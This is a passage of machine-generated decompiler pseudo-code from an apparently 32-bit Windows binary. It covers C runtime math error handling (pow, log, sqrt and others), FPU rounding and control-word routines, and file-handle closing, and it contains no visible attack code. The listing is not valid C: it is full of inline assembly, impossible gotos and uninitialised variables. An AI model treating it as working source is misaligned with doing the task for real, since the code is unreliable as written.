eax27 = reinterpret_cast<void**>(GetLastError(ecx16, v23, edi22, v21, 0));
*reinterpret_cast<void***>(esi15) = eax27;
 goto addr_40a66b_11;
}

void** fun_40be7f(void** ecx, uint32_t a2, void** a3, uint16_t* a4, int32_t a5, int32_t a6, int32_t
a7, int32_t a8, int32_t a9, int32_t a10);

void** fun_40b7a7(int32_t ecx, void* a2) {

void* ebp3;
void** ecx4;
uint32_t edx5;
int32_t eax6;
int32_t v7;
int32_t v8;
int32_t v9;
int32_t v10;
void** eax11;

ebp3 = reinterpret_cast<void*>(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4);

__asm__("fstp qword [ebp-0x8]");
ecx4 = reinterpret_cast<void**>(reinterpret_cast<int32_t>(ebp3) + 0xffffffe0);
eax11 = fun_40be7f(ecx4, edx5, ecx4, reinterpret_cast<int32_t>(ebp3) + 8, eax6, ecx, v7, v8,
v9, v10);
__asm__("fld qword [ebp-0x8]");
if (a2 != 0x27f) {
__asm__("fldcw word [ebp+0x8]");
}
return eax11;
}

int32_t g41727c;

void** fun_404cda(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, uint32_t a11, void** a12, int32_t a13);

int32_t g417294;

int32_t DecodePointer = 0x155d2;

void** fun_40b7e3(void* a1, void* a2, void* a3, int32_t a4) {

void* ebp5;
uint32_t eax6;
int1_t zf7;
int32_t edi8;
int32_t v9;
int32_t eax10;
int32_t eax11;
void** v12;
int32_t eax13;
void** v14;
int32_t eax15;
int32_t eax16;
int32_t eax17;
int32_t eax18;
void** v19;
void** v20;
void** v21;
void** v22;
void** v23;
void** eax24;
int32_t eax25;
int32_t eax26;
uint32_t eax27;
uint32_t eax28;
uint32_t eax29;
int32_t eax30;
void** edi31;
void** esi32;
void** v33;
void** v34;
void** v35;
void** v36;
void** v37;
void** eax38;
int32_t eax39;
void** v40;
void** v41;
void** v42;
void** v43;
void** v44;
void** eax45;

ebp5 = reinterpret_cast<void*>(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4);

eax6 = g416004;
zf7 = g41727c == 0;
if (zf7) {
edi8 = reinterpret_cast<int32_t>(fun_404cda);
} else {
v9 = g417294;
 eax10 = reinterpret_cast<int32_t>(DecodePointer(v9));
edi8 = eax10;
}
if (a4 > 26) {
eax11 = a4 - 27;
if (!eax11) {
v12 = reinterpret_cast<void**>(2);
} else {
eax13 = eax11 - 1;
if (!eax13) {
v14 = reinterpret_cast<void**>("pow");
goto addr_40b857_9;
} else {
eax15 = eax13 - 21;
if (!eax15) {
v14 = reinterpret_cast<void**>("sqrt");
goto addr_40b857_9;
} else {
eax16 = eax15 - 9;
if (!eax16) {
v14 = reinterpret_cast<void**>("acos");
goto addr_40b857_9;
} else {
eax17 = eax16 - 3;
if (!eax17) {
v14 = reinterpret_cast<void**>("asin");
goto addr_40b857_9;
} else {
eax18 = eax17 - 0x3ab;
if (!eax18 || !(eax18 - 1)) {
__asm__("fld qword [eax]");
goto addr_40b938_18;
} else {
addr_40b9eb_19:
eax24 = fun_402f62(eax6 ^ reinterpret_cast<uint32_t>(ebp5) ^
reinterpret_cast<uint32_t>(ebp5), v12, v14, v19, v20, v21, v22, v23);
return eax24;
}
}
}
}
}
}
} else {
if (a4 == 26) {
__asm__("fld1 ");
goto addr_40b938_18;
} else {
if (a4 > 14) {
eax25 = a4 - 15;
if (!eax25) {
v14 = reinterpret_cast<void**>("exp");
goto addr_40b8f1_25;
} else {
eax26 = eax25 - 9;
if (!eax26) {
v12 = reinterpret_cast<void**>(3);
} else {
if (eax26 - 1)
goto addr_40b9eb_19;
v14 = reinterpret_cast<void**>("pow");
goto addr_40b8f1_25;
}
}
} else {
if (a4 == 14) {
v12 = reinterpret_cast<void**>(3);
v14 = reinterpret_cast<void**>("exp");
goto addr_40b9b0_32;
} else {
eax27 = a4 - reinterpret_cast<unsigned char>(2);
if (!eax27) {
v12 = reinterpret_cast<void**>(2);
v14 = reinterpret_cast<void**>("log");
goto addr_40b9b0_32;
} else {
eax28 = eax27 - 1;
if (!eax28) {
v14 = reinterpret_cast<void**>("log");
goto addr_40b857_9;
} else {
eax29 = eax28 - 5;
if (!eax29) {
v12 = reinterpret_cast<void**>(2);
v14 = reinterpret_cast<void**>("log10");
goto addr_40b9b0_32;
} else {
if (eax29 - 1)
 goto addr_40b9eb_19;
v14 = reinterpret_cast<void**>("log10");
goto addr_40b857_9;
}
}
}
}
}
}
}
v14 = reinterpret_cast<void**>("pow");
addr_40b9b0_32:
__asm__("fld qword [eax]");
__asm__("fstp qword [ebp-0x1c]");
__asm__("fld qword [eax]");
__asm__("fstp qword [ebp-0x14]");
__asm__("fld qword [esi]");
__asm__("fstp qword [ebp-0xc]");
image_base_(edi8);
eax30 = reinterpret_cast<int32_t>(edi8(edi8));
if (!eax30) {
eax38 = fun_4060e8(reinterpret_cast<uint32_t>(ebp5) + 0xffffffdc, edi31, esi32, v12, v14,
v33, v34, v35, v36, v37);
*reinterpret_cast<void***>(eax38) = reinterpret_cast<void**>(34);
}
addr_40b9e6_43:
__asm__("fld qword [ebp-0xc]");
__asm__("fstp qword [esi]");
goto addr_40b9eb_19;
addr_40b857_9:
v12 = reinterpret_cast<void**>(1);
__asm__("fld qword [eax]");
__asm__("fstp qword [ebp-0x1c]");
__asm__("fld qword [eax]");
__asm__("fstp qword [ebp-0x14]");
__asm__("fld qword [esi]");
__asm__("fstp qword [ebp-0xc]");
image_base_(edi8);
eax39 = reinterpret_cast<int32_t>(edi8(edi8));
if (!eax39) {
eax45 = fun_4060e8(reinterpret_cast<uint32_t>(ebp5) + 0xffffffdc, edi31, esi32, 1, v14,
v40, v41, v42, v43, v44);
*reinterpret_cast<void***>(eax45) = reinterpret_cast<void**>(33);
goto addr_40b9e6_43;
 }
addr_40b938_18:
__asm__("fstp qword [eax]");
goto addr_40b9eb_19;
addr_40b8f1_25:
v12 = reinterpret_cast<void**>(4);
__asm__("fld qword [eax]");
__asm__("fstp qword [ebp-0x1c]");
__asm__("fld qword [eax]");
__asm__("fstp qword [ebp-0x14]");
__asm__("fld qword [esi]");
__asm__("fstp qword [ebp-0xc]");
image_base_(edi8);
edi8(edi8);
goto addr_40b9e6_43;
}

void** fun_4060b2(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7) {
void** esi8;
void** ebp9;
void** eax10;
void** eax11;
void** eax12;

eax10 = fun_4060d5(ecx, esi8, ebp9, __return_address(), a2, a3, a4, a5, a6, a7);
*reinterpret_cast<void***>(eax10) = a2;
eax11 = fun_40606f(a2, a2);
eax12 = fun_4060e8(a2, esi8, ebp9, __return_address(), a2, a3, a4, a5, a6, a7);
*reinterpret_cast<void***>(eax12) = eax11;
return eax12;
}

uint32_t fun_409d09(void** a1) {

int32_t v2;
void** v3;
void** ebp4;
void** esi5;
void** eax6;
void** eax7;
uint32_t eax8;
void** eax9;
void** edi10;
void** edi11;
void** esi12;
 void** eax13;
void** eax14;
uint32_t eax15;

v2 = reinterpret_cast<int32_t>(__return_address());
v3 = ebp4;
esi5 = a1 + 12;
eax6 = *reinterpret_cast<void***>(esi5);
if ((*reinterpret_cast<unsigned char*>(&eax6) & 3) != 2 || (eax7 =
*reinterpret_cast<void***>(esi5), (*reinterpret_cast<unsigned char*>(&eax7) & 0xc0) == 0)) {
eax8 = 0;
} else {
eax9 = *reinterpret_cast<void***>(a1 + 4);
edi10 = reinterpret_cast<void**>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(a1)) - reinterpret_cast<unsigned char>(eax9));
*reinterpret_cast<void***>(a1) = eax9;
*reinterpret_cast<void***>(a1 + 8) = reinterpret_cast<void**>(0);
if (reinterpret_cast<uint1_t>(reinterpret_cast<signed char>(edi10) <
reinterpret_cast<signed char>(0)) | reinterpret_cast<uint1_t>(edi10 == 0)) {
addr_409d69_4:
eax8 = 0;
} else {
eax13 = fun_409288(a1, a1, eax9, edi10, edi11, esi12, v3,
*reinterpret_cast<void***>(&v2));
eax14 = fun_40a7ab(a1, eax13, eax9, edi10, edi11, esi12, v3);
if (edi10 == eax14) {
eax15 = reinterpret_cast<unsigned char>(*reinterpret_cast<void***>(esi5)) >> 2;
if (*reinterpret_cast<unsigned char*>(&eax15) & 1) {
*reinterpret_cast<void***>(esi5) =
reinterpret_cast<void**>(reinterpret_cast<unsigned char>(*reinterpret_cast<void***>(esi5)) &
0xfd);
goto addr_409d69_4;
}
} else {
*reinterpret_cast<void***>(esi5) = reinterpret_cast<void**>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(esi5)) | 16);
eax8 = 0xffffffff;
}
}
}
return eax8;
}
void fun_40a092(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11) {
int32_t v12;
int32_t esi13;
void** edi14;
uint32_t eax15;
uint32_t eax16;
void** v17;
void** edi18;
void** ebp19;

v12 = esi13;
edi14 = a2 + 12;
eax15 = reinterpret_cast<unsigned char>(*reinterpret_cast<void***>(edi14)) >> 13;
if (*reinterpret_cast<unsigned char*>(&eax15) & 1 && (eax16 = reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(edi14)) >> 6, !!(*reinterpret_cast<unsigned char*>(&eax16) &
1))) {
v17 = *reinterpret_cast<void***>(a2 + 4);
fun_406c46(ecx, v17, edi18, *reinterpret_cast<void***>(&v12), ebp19, __return_address(),
a2, a3, a4, a5, a6, a7, a8, a9, a10, a11);
*reinterpret_cast<void***>(edi14) = reinterpret_cast<void**>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(edi14)) & 0xfffffebf);
*reinterpret_cast<void***>(a2 + 4) = reinterpret_cast<void**>(0);
*reinterpret_cast<void***>(a2) = reinterpret_cast<void**>(0);
*reinterpret_cast<void***>(a2 + 8) = reinterpret_cast<void**>(0);
}
return;
}

uint32_t fun_40bb36(void** a1, void** a2);

uint32_t fun_40bb5e(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6) {
void** v7;
int1_t cf8;
void** esi9;
void** ebp10;
void** eax11;
void** eax12;
uint32_t eax13;
void** eax14;
void** eax15;

v7 = ecx;
if (!reinterpret_cast<int1_t>(a2 == 0xfffffffe)) {
 if (reinterpret_cast<signed char>(a2) < reinterpret_cast<signed char>(0) || ((cf8 =
reinterpret_cast<unsigned char>(a2) < reinterpret_cast<unsigned char>(g417240), !cf8) || (ecx
= reinterpret_cast<void**>((reinterpret_cast<unsigned char>(a2) & 63) * 48),
(*reinterpret_cast<unsigned
char*>(reinterpret_cast<int32_t>(*reinterpret_cast<void**>((reinterpret_cast<signed char>(a2)
>> 6) * 4 + 0x417040)) + reinterpret_cast<unsigned char>(ecx) + 40) & 1) == 0))) {
eax11 = fun_4060d5(ecx, esi9, v7, ebp10, __return_address(), a2, a3, a4, a5, a6);
*reinterpret_cast<void***>(eax11) = reinterpret_cast<void**>(0);
eax12 = fun_4060e8(ecx, esi9, v7, ebp10, __return_address(), a2, a3, a4, a5, a6);
*reinterpret_cast<void***>(eax12) = reinterpret_cast<void**>(9);
fun_40602c(ecx, esi9, v7, ebp10, __return_address());
} else {
eax13 = fun_40bb36(a2, reinterpret_cast<int32_t>(__zero_stack_offset()) - 4 + 0xfffffffc);
goto addr_40bbd8_5;
}
} else {
eax14 = fun_4060d5(ecx, esi9, v7, ebp10, __return_address(), a2, a3, a4, a5, a6);
*reinterpret_cast<void***>(eax14) = reinterpret_cast<void**>(0);
eax15 = fun_4060e8(ecx, esi9, v7, ebp10, __return_address(), a2, a3, a4, a5, a6);
*reinterpret_cast<void***>(eax15) = reinterpret_cast<void**>(9);
}
eax13 = 0xffffffff;
addr_40bbd8_5:
return eax13;
}

void** fun_40bc79(void** ecx, void** a2) {

void** eax3;

*reinterpret_cast<void***>(a2) = reinterpret_cast<void**>(0);
*reinterpret_cast<void***>(a2 + 4) = reinterpret_cast<void**>(0);
*reinterpret_cast<void***>(a2 + 8) = reinterpret_cast<void**>(0);
*reinterpret_cast<void***>(a2 + 16) = reinterpret_cast<void**>(0xffffffff);
*reinterpret_cast<void***>(a2 + 20) = reinterpret_cast<void**>(0);
*reinterpret_cast<void***>(a2 + 24) = reinterpret_cast<void**>(0);
*reinterpret_cast<void***>(a2 + 28) = reinterpret_cast<void**>(0);
eax3 = a2 + 12;
*reinterpret_cast<void***>(eax3) = reinterpret_cast<void**>(0);
return eax3;
}

int32_t CreateFileW = 0x14e6c;

void fun_40bcb4(void** a1) {

 int32_t eax2;

eax2 = reinterpret_cast<int32_t>(CreateFileW());
g416760 = eax2;
goto "C";
}

void fun_40b34e(int32_t a1) {

int32_t ebp2;
int16_t fpu_status_word3;
int32_t ebp4;
int32_t ebp5;
int16_t fpu_status_word6;
int32_t ebp7;
int32_t ebp8;
signed char ch9;
int32_t ebp10;
int16_t fpu_status_word11;
int32_t ebp12;
int16_t fpu_status_word13;

__asm__("fld st0");
__asm__("fabs ");
__asm__("fld tword [0x4122de]");
__asm__("fcompp ");
__asm__("wait ");
*reinterpret_cast<int16_t*>(ebp2 - 0xa0) = fpu_status_word3;
__asm__("wait ");
if (*reinterpret_cast<unsigned char*>(ebp4 - 0x9f) & 65) {
__asm__("ftst ");
__asm__("wait ");
*reinterpret_cast<int16_t*>(ebp5 - 0xa0) = fpu_status_word6;
__asm__("wait ");
if (*reinterpret_cast<unsigned char*>(ebp7 - 0x9f) & 1) {
*reinterpret_cast<signed char*>(ebp8 - 0x90) = 4;
__asm__("fstp st0");
__asm__("fldz ");
goto a1;
} else {
__asm__("fstp st0");
__asm__("fld tword [0x4122c0]");
if (ch9) {
__asm__("fchs ");
}
 goto a1;
}
} else {
__asm__("fld st0");
__asm__("frndint ");
__asm__("ftst ");
__asm__("wait ");
*reinterpret_cast<int16_t*>(ebp10 - 0xa0) = fpu_status_word11;
__asm__("wait ");
__asm__("fxch st0, st1");
__asm__("fsub st0, st1");
__asm__("ftst ");
__asm__("wait ");
*reinterpret_cast<int16_t*>(ebp12 - 0xa0) = fpu_status_word13;
__asm__("fabs ");
__asm__("f2xm1 ");
return;
}
}

int32_t fun_40b391() {
int16_t ax1;
int16_t fpu_status_word2;
int32_t eax3;
int16_t ax4;
int16_t fpu_status_word5;

__asm__("fld st0");
__asm__("frndint ");
__asm__("fcomp st0, st1");
__asm__("wait ");
ax1 = fpu_status_word2;
if (!*reinterpret_cast<int1_t*>(reinterpret_cast<int32_t>(&ax1) + 1)) {
eax3 = 0;
} else {
__asm__("fld st0");
__asm__("fmul qword [0x4122f2]");
__asm__("fld st0");
__asm__("frndint ");
__asm__("fcompp ");
__asm__("wait ");
ax4 = fpu_status_word5;
if (*reinterpret_cast<int1_t*>(reinterpret_cast<int32_t>(&ax4) + 1)) {
eax3 = 2;
 } else {
eax3 = 1;
}
}
return eax3;
}

uint32_t fun_40c76a(uint32_t a1, uint32_t a2) {

uint16_t cx3;
uint32_t v4;

if (a2 != 0x7ff00000) {
if (a2 != 0xfff00000 || a1) {
cx3 =
reinterpret_cast<uint16_t>(*reinterpret_cast<uint16_t*>(reinterpret_cast<int32_t>(&a2) + 2) &
0x7ff8);
if (cx3 != 0x7ff8) {
if (cx3 != 0x7ff0 || !(a2 & 0x7ffff) && !a1) {
return 0;
} else {
v4 = 4;
}
} else {
v4 = 3;
}
} else {
v4 = 2;
}
return v4;
} else {
if (!a1) {
return a1 + 1;
}
}
}

int32_t fun_40c0a2(void** ecx, void** a2, void** a3, void** a4);

void fun_40c2a5(void** a1, void** a2, void** a3, uint32_t a4, void** a5, void** a6, int32_t a7);

void** fun_40bfa0(void** a1);

void fun_40c596(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, uint32_t a9, void** a10, int32_t a11);
void fun_40c5c5(void** ecx, void** a2, uint32_t a3, void** a4, void** a5, void** a6, uint32_t a7,
void** a8, int32_t a9, void** a10);

void** fun_40bfd4(void** ecx, void** a2, uint32_t a3) {

void* esp4;
void* ebp5;
uint32_t eax6;
void** esi7;
void** v8;
void** v9;
uint32_t v10;
int32_t eax11;
void** v12;
void** v13;
void** v14;
void** v15;
void** eax16;
signed char al17;
void** edi18;
void** esi19;
void** v20;
void** v21;
void** v22;
void** v23;
uint32_t v24;
void** v25;
int32_t v26;
void** v27;
void** v28;
void** v29;
void** v30;
void** v31;
void** v32;
void** v33;
void** eax34;

esp4 = reinterpret_cast<void*>(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4);

ebp5 = reinterpret_cast<void*>((reinterpret_cast<uint32_t>(reinterpret_cast<int32_t>(esp4) -
4 - 4) & 0xfffffff0) + 4 - 4);
eax6 = g416004;
esi7 = v8;
v9 = a2;
v10 = 0x40c00d;
 eax11 = fun_40c0a2(ecx, v9, reinterpret_cast<int32_t>(esp4) + 24, esi7);
if (!eax11) {
v9 = reinterpret_cast<void**>(reinterpret_cast<int32_t>(esp4) + 16);
v10 = a3;
v12 = a2;
v13 = reinterpret_cast<void**>(reinterpret_cast<int32_t>(esp4) + 32);
v14 = reinterpret_cast<void**>(reinterpret_cast<uint32_t>(ebp5) + 0xffffff80);
fun_40c2a5(v14, v13, v12, v10, v9, reinterpret_cast<int32_t>(esp4) + 24, eax11);
esi7 = v15;
}
eax16 = fun_40bfa0(a2);
al17 = fun_404cad(a2);
if (!al17 || !eax16) {
fun_40c596(a2, eax16, edi18, esi19, v20, v21, v22, v23, v24, v25, v26);
fun_409f20(a2, esi7, 0xffff);
__asm__("fld qword [ebx+0x18]");
} else {
__asm__("fld qword [ebx+0x18]");
__asm__("fstp qword [esp+0x10]");
__asm__("fldz ");
__asm__("fstp qword [esp+0x8]");
__asm__("fld qword [ebx+0x10]");
__asm__("fstp qword [esp]");
fun_40c5c5(a2, eax16, a3, v14, v13, v12, v10, v9, 0x40c042, esi7);
}
eax34 = fun_402f62(eax6 ^ reinterpret_cast<uint32_t>(ebp5) ^
reinterpret_cast<uint32_t>(ebp5), v27, v28, v29, v30, v31, v32, v33);
return eax34;
}

struct s53 {
signed char[88] pad88;
unsigned char f58;
signed char[47] pad136;
unsigned char f88;
};

struct s53* g417040;

int32_t CloseHandle = 0x14e82;

uint32_t fun_407c7e(void** ecx, void** a2, void** a3, void** a4, void** a5);

uint32_t fun_40bbdd(void** ecx, void** a2, void** a3, void** a4, void** a5) {
 void** v6;
void** ebp7;
void** edi8;
void** esi9;
void** eax10;
void** ecx11;
struct s53* eax12;
void** eax13;
void** eax14;
void** eax15;
int32_t eax16;
void** esi17;
void** eax18;
void** ecx19;
uint32_t eax20;

v6 = ebp7;
eax10 = fun_407d0f(ecx, a2, edi8, esi9, v6, __return_address(), a2, a3);
ecx11 = a2;
if (reinterpret_cast<int1_t>(eax10 == 0xffffffff) || (((eax12 = g417040,
reinterpret_cast<int1_t>(a2 == 1)) && eax12->f88 & 1 || reinterpret_cast<int1_t>(a2 == 2) &&
eax12->f58 & 1) && (eax13 = fun_407d0f(ecx11, 2, edi8, esi9, v6, __return_address(), a2, a3),
eax14 = fun_407d0f(ecx11, 1, 2, edi8, esi9, v6, __return_address(), a2), ecx11 =
reinterpret_cast<void**>(2), eax14 == eax13) || (eax15 = fun_407d0f(ecx11, a2, edi8, esi9, v6,
__return_address(), a2, a3), ecx11 = a2, eax16 = reinterpret_cast<int32_t>(CloseHandle(ecx11,
eax15)), !!eax16))) {
esi17 = reinterpret_cast<void**>(0);
} else {
eax18 = reinterpret_cast<void**>(GetLastError(ecx11, eax15));
esi17 = eax18;
}
fun_407c7e(ecx11, a2, edi8, esi9, v6);
ecx19 = *reinterpret_cast<void***>((reinterpret_cast<signed char>(a2) >> 6) * 4 + 0x417040);
*reinterpret_cast<signed char*>(reinterpret_cast<uint32_t>(ecx19 +
(reinterpret_cast<unsigned char>(a2) & 63) * 48) + 40) = 0;
if (!esi17) {
eax20 = 0;
} else {
fun_4060b2(ecx19, esi17, edi8, esi9, v6, __return_address(), a2);
eax20 = 0xffffffff;
}
return eax20;
}
uint32_t fun_40bab4(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7);

uint32_t fun_40bb36(void** a1, void** a2) {

void* ebp3;
void** v4;
uint32_t eax5;

ebp3 = reinterpret_cast<void*>(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4);

eax5 = fun_40bab4(reinterpret_cast<int32_t>(ebp3) + 0xffffffff,
reinterpret_cast<int32_t>(ebp3) + 0xfffffff4, a2, reinterpret_cast<int32_t>(ebp3) + 0xfffffff8, a1,
a1, v4);
return eax5;
}

void fun_40bf8a(void** ecx) {

__asm__("fld qword [ebp+0x8]");
__asm__("frndint ");
__asm__("fstp qword [ebp-0x8]");
__asm__("fld qword [ebp-0x8]");
return;
}

unsigned char fun_40c7c8(void** a1, void** a2, void** a3, void** a4);

int32_t fun_40bcea(void** ecx) {

unsigned char al2;
int32_t eax3;

__asm__("fld qword [ebp+0x8]");

__asm__("fstp qword [esp]");
al2 = fun_40c7c8(ecx, ecx, ecx, ecx);
if (al2 & 0x90) {
addr_40bd4e_2:
eax3 = 0;
} else {
__asm__("fld qword [ebp+0x8]");
__asm__("fstp qword [esp]");
fun_40bf8a(ecx);
__asm__("fld qword [ebp+0x8]");
__asm__("fucom st1");
__asm__("fstp st1");
if (__intrinsic()) {
__asm__("fstp st0");
goto addr_40bd4e_2;
 } else {
__asm__("fmul qword [0x412c00]");
__asm__("fst qword [ebp-0x8]");
__asm__("fstp qword [esp]");
fun_40bf8a(ecx);
__asm__("fld qword [ebp-0x8]");
__asm__("fucompp ");
if (__intrinsic()) {
eax3 = 1;
} else {
eax3 = 2;
}
}
}
return eax3;
}

void** fun_404cda(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, uint32_t a11, void** a12, int32_t a13) {
void*** ebp14;
uint32_t eax15;
void** v16;
uint32_t esi17;
uint32_t esi18;
void** ebp19;
void** eax20;

ebp14 = reinterpret_cast<void***>(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4);

eax15 = g416004;
v16 = reinterpret_cast<void**>(eax15 ^ reinterpret_cast<uint32_t>(ebp14));
esi17 = g416004;
esi18 = esi17 ^ reinterpret_cast<unsigned char>(g416b94);
__asm__("ror esi, cl");
if (esi18) {
image_base_(esi18);
esi18(esi18);
}
eax20 = fun_402f62(reinterpret_cast<unsigned char>(v16) ^
reinterpret_cast<uint32_t>(ebp14), v16, ebp19, __return_address(), a2, a3, a4, a5);
return eax20;
}

void fun_40c596(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, uint32_t a9, void** a10, int32_t a11) {
 void** ebp12;
void** eax13;
void** eax14;

if (a2 == 1) {
eax13 = fun_4060e8(ecx, ebp12, __return_address(), a2, a3, a4, a5, a6, a7, a8);
*reinterpret_cast<void***>(eax13) = reinterpret_cast<void**>(33);
} else {
if (reinterpret_cast<uint32_t>(a2 + 0xfffffffe) <= 1) {
eax14 = fun_4060e8(ecx, ebp12, __return_address(), a2, a3, a4, a5, a6, a7, a8);
*reinterpret_cast<void***>(eax14) = reinterpret_cast<void**>(34);
return;
}
}
return;
}

int32_t fun_409f0d(void** ecx);

int32_t RaiseException = 0x15404;

void fun_40c2a5(void** a1, void** a2, void** a3, uint32_t a4, void** a5, void** a6, int32_t a7) {
void** ecx8;
int32_t eax9;
int32_t edx10;
uint32_t eax11;
void** ecx12;
void** eax13;
uint32_t eax14;
void** ecx15;
void** eax16;
void** ecx17;
uint32_t eax18;
uint32_t eax19;
void** eax20;
uint32_t eax21;
uint32_t eax22;
void** eax23;
uint32_t eax24;
int32_t esi25;

*reinterpret_cast<void***>(a1 + 4) = reinterpret_cast<void**>(0);
*reinterpret_cast<void***>(a1 + 8) = reinterpret_cast<void**>(0);
*reinterpret_cast<void***>(a1 + 12) = reinterpret_cast<void**>(0);
 ecx8 = a3;
if (*reinterpret_cast<unsigned char*>(&ecx8) & 16) {
*reinterpret_cast<void***>(a1 + 4) = reinterpret_cast<void**>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(a1 + 4)) | 1);
}
if (*reinterpret_cast<unsigned char*>(&ecx8) & 2) {
*reinterpret_cast<void***>(a1 + 4) = reinterpret_cast<void**>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(a1 + 4)) | 2);
}
if (*reinterpret_cast<unsigned char*>(&ecx8) & 1) {
*reinterpret_cast<void***>(a1 + 4) = reinterpret_cast<void**>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(a1 + 4)) | 4);
}
if (*reinterpret_cast<unsigned char*>(&ecx8) & 4) {
*reinterpret_cast<void***>(a1 + 4) = reinterpret_cast<void**>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(a1 + 4)) | 8);
}
if (*reinterpret_cast<unsigned char*>(&ecx8) & 8) {
*reinterpret_cast<void***>(a1 + 4) = reinterpret_cast<void**>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(a1 + 4)) | 16);
}
*reinterpret_cast<void***>(a1 + 8) = reinterpret_cast<void**>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(a1 + 8)) ^ (~(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(a2)) << 4) ^ reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(a1 + 8))) & 16);
*reinterpret_cast<void***>(a1 + 8) = reinterpret_cast<void**>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(a1 + 8)) ^ (~(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(a2)) + reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(a2))) ^ reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(a1 + 8))) & 8);
*reinterpret_cast<void***>(a1 + 8) = reinterpret_cast<void**>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(a1 + 8)) ^ (~(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(a2)) >> 1) ^ reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(a1 + 8))) & 4);
*reinterpret_cast<void***>(a1 + 8) = reinterpret_cast<void**>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(a1 + 8)) ^ (~(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(a2)) >> 3) ^ reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(a1 + 8))) & 2);
*reinterpret_cast<void***>(a1 + 8) = reinterpret_cast<void**>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(a1 + 8)) ^ (~(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(a2)) >> 5) ^ reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(a1 + 8))) & 1);
eax9 = fun_409fa7(a1);
edx10 = eax9;
 if (*reinterpret_cast<unsigned char*>(&edx10) & 1) {
*reinterpret_cast<void***>(a1 + 12) = reinterpret_cast<void**>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(a1 + 12)) | 16);
}
if (*reinterpret_cast<unsigned char*>(&edx10) & 4) {
*reinterpret_cast<void***>(a1 + 12) = reinterpret_cast<void**>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(a1 + 12)) | 8);
}
if (*reinterpret_cast<unsigned char*>(&edx10) & 8) {
*reinterpret_cast<void***>(a1 + 12) = reinterpret_cast<void**>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(a1 + 12)) | 4);
}
if (*reinterpret_cast<unsigned char*>(&edx10) & 16) {
*reinterpret_cast<void***>(a1 + 12) = reinterpret_cast<void**>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(a1 + 12)) | 2);
}
if (*reinterpret_cast<unsigned char*>(&edx10) & 32) {
*reinterpret_cast<void***>(a1 + 12) = reinterpret_cast<void**>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(a1 + 12)) | 1);
}
eax11 = reinterpret_cast<unsigned char>(*reinterpret_cast<void***>(a2)) & 0xc00;
if (!eax11) {
*reinterpret_cast<void***>(a1) = reinterpret_cast<void**>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(a1)) & 0xfffffffc);
} else {
if (eax11 == 0x400) {
ecx12 = a1;
eax13 = reinterpret_cast<void**>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(ecx12)) & 0xfffffffd | 1);
goto addr_40c3f1_25;
} else {
if (eax11 == 0x800) {
ecx12 = a1;
eax13 = reinterpret_cast<void**>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(ecx12)) & 0xfffffffe | 2);
goto addr_40c3f1_25;
} else {
if (eax11 == 0xc00) {
*reinterpret_cast<void***>(a1) =
reinterpret_cast<void**>(reinterpret_cast<unsigned char>(*reinterpret_cast<void***>(a1)) | 3);
}
}
}
}
 addr_40c407_30:
eax14 = reinterpret_cast<unsigned char>(*reinterpret_cast<void***>(a2)) & 0x300;
if (!eax14) {
ecx15 = a1;
eax16 = reinterpret_cast<void**>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(ecx15)) & 0xffffffeb | 8);
} else {
if (eax14 == 0x200) {
ecx15 = a1;
eax16 = reinterpret_cast<void**>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(ecx15)) & 0xffffffe7 | 4);
} else {
if (eax14 == 0x300) {
*reinterpret_cast<void***>(a1) = reinterpret_cast<void**>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(a1)) & 0xffffffe3);
goto addr_40c43f_36;
}
}
}
*reinterpret_cast<void***>(ecx15) = eax16;
addr_40c43f_36:
ecx17 = reinterpret_cast<void**>((a4 << 5 ^ reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(a1))) & 0x1ffe0);
